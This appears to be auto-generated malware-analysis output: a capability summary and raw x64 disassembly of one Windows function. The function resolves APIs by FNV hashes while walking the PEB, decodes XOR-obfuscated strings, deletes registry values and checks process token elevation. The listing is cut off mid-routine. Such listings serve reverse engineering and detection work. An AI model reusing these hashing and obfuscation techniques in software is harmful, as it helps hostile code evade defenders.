Function at 0x140002760
Capabilities:
Access peb ldr_data
Create process on windows
Delete registry value
Encode data using xor
Generate random numbers using a mersenne twister
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x24b90]
mov eax, 0x24c90
call fcn.14001a000
sub rsp, rax
movaps xmmword [rsp + 0x24c80], xmm6
movaps xmmword [rsp + 0x24c70], xmm7
movaps xmmword [rsp + 0x24c60], xmm8
movaps xmmword [rsp + 0x24c50], xmm9
movaps xmmword [rsp + 0x24c40], xmm10
movaps xmmword [rsp + 0x24c30], xmm11
movaps xmmword [rsp + 0x24c20], xmm12
movaps xmmword [rsp + 0x24c10], xmm13
movaps xmmword [rsp + 0x24c00], xmm14
mov rax, qword [0x14001e040]
xor rax, rsp
mov qword [rbp + 0x24af0], rax
xor edi, edi
call fcn.1400012d0
mov rax, qword [0x14001ede0]
test rax, rax
jne 0x1400028b6
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop dword [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140002897
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140002897
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x5789f51b
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140002892
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140002870
cmp edx, 0xfeac4843
je 0x1400029cb
test r8d, r8d
jne 0x140002850
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x1400028ac
cmp qword [rax + 0x30], rdi
jne 0x140002820
mov rax, rdi
mov qword [0x14001ede0], rax
mov r8d, 0x104
lea rdx, [rbp + 0x248d0]
xor ecx, ecx
call rax
lea rdx, [rbp + 0x248d0]
lea rcx, [rbp + 0x15c8]
call fcn.1400180f0
nop
call fcn.140001580
lea r12, [0x14001edd0]
mov r13d, dword [0x14001e090]
movdqa xmm8, xmmword [0x14001bd00]
movdqa xmm13, xmmword [0x14001bcc0]
movdqa xmm12, xmmword [0x14001bcb0]
movdqa xmm11, xmmword [0x14001bca0]
movdqa xmm7, xmmword [0x14001bc90]
movdqa xmm10, xmmword [0x14001bd10]
movdqa xmm9, xmmword [str.IIII]
movdqa xmm6, xmmword [0x14001bd20]
test al, al
je 0x1400033e2
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x1400029c6
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x1400029c6
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xe74dd63c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400029c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400029a0
cmp r8d, 0xc241acf1
je 0x1400029e7
test r9d, r9d
jne 0x140002980
mov rax, qword [rax]
jmp 0x140002950
mov eax, dword [rbx + 0x24]
add rax, r9
movzx edx, word [rax + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x1400028af
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov r14, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov esi, dword [rdx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140002a96
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140002a96
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0xe84dd7cf
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140002a91
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140002a70
cmp r8d, 0x5b49a40e
je 0x140002a9b
test r9d, r9d
jne 0x140002a50
mov rcx, qword [rcx]
jmp 0x140002a20
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
xor edx, edx
mov rcx, r14
call r8
lea rdx, [rbp + 0x1e18]
lea rcx, [rsp + 0x68]
call fcn.140002550
cmp byte [rbp + 0x1e47], 0
je 0x140002c32
mov r8d, edi
cmp r13d, 2
jl 0x140002bed
mov edx, edi
movdqa xmmword [rbp + 0xe0], xmm10
lea rcx, [rbp + 0x1e1c]
mov r8d, dword [rbp + 0xe0]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x140002b00
jmp 0x140002c32
lea r9, [rbp + 0x1e18]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x140002c00
mov qword [rsp + 0x20], r12
mov r9d, 0x20006
xor r8d, r8d
lea rdx, [rbp + 0x1e18]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r10d, eax
cmp byte [rbp + 0x1e47], 0
jne 0x140002dc2
mov r8d, edi
cmp r13d, 2
jl 0x140002d7d
mov edx, edi
movdqa xmmword [rbp + 0xe0], xmm10
lea rcx, [rbp + 0x1e1c]
mov r8d, dword [rbp + 0xe0]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x140002c90
jmp 0x140002dc2
lea r9, [rbp + 0x1e18]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x140002d90
test r10d, r10d
jne 0x14000327f
lea rdx, [rbp + 0xe40]
lea rcx, [rsp + 0x6a]
call fcn.140002580
movzx eax, byte [rbp + 0xe40]
test al, al
je 0x140002def
xor al, 0x57
mov byte [rbp + 0xe40], al
lea rdx, [rbp + 0xe40]
mov rcx, qword [0x14001edd0]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
cmp byte [rbp + 0xe40], 0
jne 0x140002e13
mov byte [rbp + 0xe40], 0x57
lea rdx, [rbp + 0x10e0]
lea rcx, [rsp + 0x6b]
call fcn.1400025f0
cmp byte [rbp + 0x10ef], 0
je 0x140003042
mov r8d, edi
cmp r13d, 2
jl 0x140002ffb
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10e0]
xorps xmm2, xmm1
movd dword [rbp + 0x10e0], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10e4]
xorps xmm2, xmm1
movd dword [rbp + 0x10e4], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10e8]
xorps xmm2, xmm1
movd dword [rbp + 0x10e8], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10ec]
xorps xmm2, xmm1
movd dword [rbp + 0x10ec], xmm2
jmp 0x140003042
lea r9, [rbp + 0x10e0]
nop dword [rax]
nop word [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140003010
lea rdx, [rbp + 0x10e0]
mov rcx, qword [0x14001edd0]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
cmp byte [rbp + 0x10ef], 0
jne 0x140003272
mov r8d, edi
cmp r13d, 2
jl 0x14000322d
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10e0]
xorps xmm2, xmm1
movd dword [rbp + 0x10e0], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10e4]
xorps xmm2, xmm1
movd dword [rbp + 0x10e4], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10e8]
xorps xmm2, xmm1
movd dword [rbp + 0x10e8], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10ec]
xorps xmm2, xmm1
movd dword [rbp + 0x10ec], xmm2
jmp 0x140003272
lea r9, [rbp + 0x10e0]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140003240
mov rcx, qword [0x14001edd0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [rbp + 0x1e47], 0
jne 0x1400033e2
mov r8d, edi
cmp r13d, 2
jl 0x14000339f
mov edx, edi
movdqa xmmword [rbp + 0xe0], xmm10
lea rcx, [rbp + 0x1e1c]
mov r8d, dword [rbp + 0xe0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x1400032b2
jmp 0x1400033e2
lea r9, [rbp + 0x1e18]
nop word [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x1400033b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140003476
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140003476
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x3beaee37
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003471
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003450
cmp r8d, 0xbee4d9b3
je 0x14000347b
test r9d, r9d
jne 0x140003430
mov rax, qword [rax]
jmp 0x140003400
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
lea r8, [rbp + 0xde0]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov r15, 0xffffffffffffffff
movdqa xmm14, xmmword [0x14001bcd0]
test eax, eax
je 0x14000502e
mov dword [rbp + 0xea8], 4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov esi, dword [rcx + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x140003556
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140003556
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x2ef7a5b3
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003551
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003530
cmp r8d, 0xc2e4e3dc
je 0x14000355b
test r9d, r9d
jne 0x140003510
mov rax, qword [rax]
jmp 0x1400034e0
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rax, [rbp + 0xea8]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp + 0xeac]
mov edx, 0x14
mov rcx, qword [rbp + 0xde0]
call r10
mov r14d, edi
test eax, eax
cmovne r14d, dword [rbp + 0xeac]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140003636
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140003636
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x3df9fbe7
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003631
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003610
cmp r8d, 0x323cbdbb
je 0x14000363b
test r9d, r9d
jne 0x1400035f0
mov rax, qword [rax]
jmp 0x1400035c0
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0xde0]
call rdx
test r14d, r14d
je 0x14000502e
lea rdx, [rbp + 0x1108]
lea rcx, [rsp + 0x6c]
call fcn.140002740
lea rcx, [rbp + 0x15c8]
call fcn.140017db0
mov rbx, rax
lea rdx, [rbp + 0x1198]
lea rcx, [rsp + 0x6d]
call fcn.140002330
lea rdx, [rbp + 0x1030]
lea rcx, [rsp + 0x6e]
call fcn.140002360
lea rdx, [rbp + 0xeb0]
lea rcx, [rsp + 0x6f]
call fcn.140002390
lea rdx, [rbp + 0x1c38]
lea rcx, [rsp + 0x70]
call fcn.1400023a0
lea rcx, [rbp + 0x15a8]
call fcn.140018250
nop
cmp byte [rbp + 0x11ad], 0
je 0x140003963
mov r8d, edi
cmp r13d, 2
jl 0x14000391f
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1198]
xorps xmm2, xmm1
movd dword [rbp + 0x1198], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x119c]
xorps xmm2, xmm1
movd dword [rbp + 0x119c], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x11a0]
xorps xmm2, xmm1
movd dword [rbp + 0x11a0], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x11a4]
xorps xmm2, xmm1
movd dword [rbp + 0x11a4], xmm2
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm14
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm14
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x11a8]
xorps xmm2, xmm1
movd dword [rbp + 0x11a8], xmm2
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp + 0x1198]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140003930
lea rdx, [rbp + 0x1198]
lea rcx, [rbp + 0x15a8]
call fcn.140017ee0
cmp byte [rbp + 0x11ad], 0
jne 0x140003c03
mov r8d, edi
cmp r13d, 2
jl 0x140003bc0
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1198]
xorps xmm2, xmm1
movd dword [rbp + 0x1198], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x119c]
xorps xmm2, xmm1
movd dword [rbp + 0x119c], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
